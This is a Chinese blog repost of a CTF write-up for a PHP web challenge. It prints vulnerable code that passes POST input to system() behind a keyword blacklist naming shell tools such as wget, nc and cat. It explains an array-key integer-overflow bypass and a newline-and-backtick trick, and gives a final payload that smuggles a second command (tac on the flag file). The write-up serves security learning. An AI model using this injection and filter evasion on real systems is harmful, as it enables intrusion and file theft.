首页 > Web开发 > 详细

CTF-webfavorite_number

时间:2020-12-04 11:46:24      阅读:24      评论:0      收藏:0      [点我收藏+]

CTF-webfavorite_number

题目链接
考点知识:PHP代码审计、PHP正则表达式、PHP整型溢出、linux系统命令

解题思路

1、题目源码解析

<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = [‘admin‘, ‘user‘];
//要求POST提交的stuff强等于array,也就是类型与数值相等,且stuff[0]不等于admin
//PHP5.5.9整型溢出溢出漏洞,stuff[2^32]=stuff[0]
if($stuff === $array && $stuff[0] != ‘admin‘) {
    $num= $_POST["num"];
//利用url换行符%0a,第一行是数字绕过正则
    if (preg_match("/^\d+$/im",$num)){
//利用tac与反引号
        if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|‘|\"|\|/i",$num)){
            echo "my favorite num is:";
            system("echo ".$num);
        }else{
            echo ‘Bonjour!‘;
        }
    }
} else {
    highlight_file(__FILE__);
} 

最终payload:

stuff[4294967296]=admin&stuff[1]=user&num=123%0atac+/fla``g

技术分享图片

CTF-webfavorite_number

原文:https://www.cnblogs.com/renhaoblog/p/14084257.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!